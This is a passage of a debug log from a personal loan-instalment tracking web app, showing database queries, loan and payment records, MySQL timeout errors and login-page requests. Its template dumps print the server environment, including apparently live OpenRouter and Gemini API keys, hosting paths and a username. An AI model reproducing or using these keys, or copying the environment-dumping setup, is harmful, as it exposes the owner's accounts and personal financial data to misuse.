    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '12',
    total_remaining_amount: 264372,
    total_paid_amount: 793116,
    percentage_paid: '75.00'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '7',
    total_remaining_amount: 37352,
    total_paid_amount: 154744,
    percentage_paid: '80.56'
  }
]
2026-02-25T12:41:37.951Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:41:37.952Z server-connect:app Executing action step identify
2026-02-25T12:41:37.952Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:37.952Z server-connect:output identity: 1
2026-02-25T12:41:37.952Z server-connect:app Executing action step restrict
2026-02-25T12:41:37.952Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:37.952Z server-connect:output restrict: undefined
2026-02-25T12:41:37.952Z server-connect:app Executing action step update
2026-02-25T12:41:37.952Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:41:37.953Z server-connect:output update: { affected: 1 }
2026-02-25T12:41:38.330Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:41:38.331Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:41:38.331Z server-connect:app Executing action step identify
2026-02-25T12:41:38.331Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:38.331Z server-connect:output identity: 1
2026-02-25T12:41:38.331Z server-connect:app Executing action step restrict
2026-02-25T12:41:38.331Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:38.331Z server-connect:app Executing action step identify
2026-02-25T12:41:38.331Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:38.332Z server-connect:output identity: 1
2026-02-25T12:41:38.332Z server-connect:app Executing action step restrict
2026-02-25T12:41:38.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:38.332Z server-connect:output restrict: undefined
2026-02-25T12:41:38.332Z server-connect:app Executing action step select
2026-02-25T12:41:38.332Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:41:38.332Z server-connect:output restrict: undefined
2026-02-25T12:41:38.332Z server-connect:app Executing action step custom
2026-02-25T12:41:38.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:41:38.333Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-02-25T12:41:38.335Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '12',
    total_remaining_amount: 264372,
    total_paid_amount: 793116,
    percentage_paid: '75.00'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '6',
    total_remaining_amount: 32016,
    total_paid_amount: 160080,
    percentage_paid: '83.33'
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 12:53:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 12:53:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 13:36:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 13:36:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 14:08:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 14:08:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 17:34:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 17:34:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 18:03:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 18:03:17' as DATETIME)"
}
2026-02-25T19:37:39.617Z server-connect:router Serving templateView /
2026-02-25T19:37:39.619Z server-connect:app Executing action step identify
2026-02-25T19:37:39.619Z server-connect:app options: { provider: 'security' }
2026-02-25T19:37:39.620Z server-connect:auth No login cookie found
2026-02-25T19:37:39.620Z server-connect:output identity: false
2026-02-25T19:37:39.620Z server-connect:app Executing action step restrict
2026-02-25T19:37:39.620Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T19:37:39.621Z server-connect:output restrict: undefined
2026-02-25T19:37:40.311Z server-connect:router Serving templateView /login
2026-02-25T19:37:40.311Z server-connect:app Executing action step identify
2026-02-25T19:37:40.311Z server-connect:app options: { provider: 'security' }
2026-02-25T19:37:40.311Z server-connect:auth No login cookie found
2026-02-25T19:37:40.311Z server-connect:output identity: false
2026-02-25T19:37:40.311Z server-connect:router Render template layouts/authentication
2026-02-25T19:37:40.312Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.56',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T19:37:40.311Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.56',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.56',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 21:44:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 21:44:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 22:04:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 22:04:18' as DATETIME)"
}
2026-02-25T22:34:04.555Z server-connect:router Serving templateView /
2026-02-25T22:34:04.556Z server-connect:app Executing action step identify
2026-02-25T22:34:04.556Z server-connect:app options: { provider: 'security' }
2026-02-25T22:34:04.556Z server-connect:auth No login cookie found
2026-02-25T22:34:04.557Z server-connect:output identity: false
2026-02-25T22:34:04.557Z server-connect:app Executing action step restrict
2026-02-25T22:34:04.557Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T22:34:04.557Z server-connect:output restrict: undefined
2026-02-25T22:34:04.665Z server-connect:router Serving templateView /login
2026-02-25T22:34:04.665Z server-connect:app Executing action step identify
2026-02-25T22:34:04.665Z server-connect:app options: { provider: 'security' }
2026-02-25T22:34:04.665Z server-connect:auth No login cookie found
2026-02-25T22:34:04.665Z server-connect:output identity: false
2026-02-25T22:34:04.665Z server-connect:router Render template layouts/authentication
2026-02-25T22:34:04.665Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
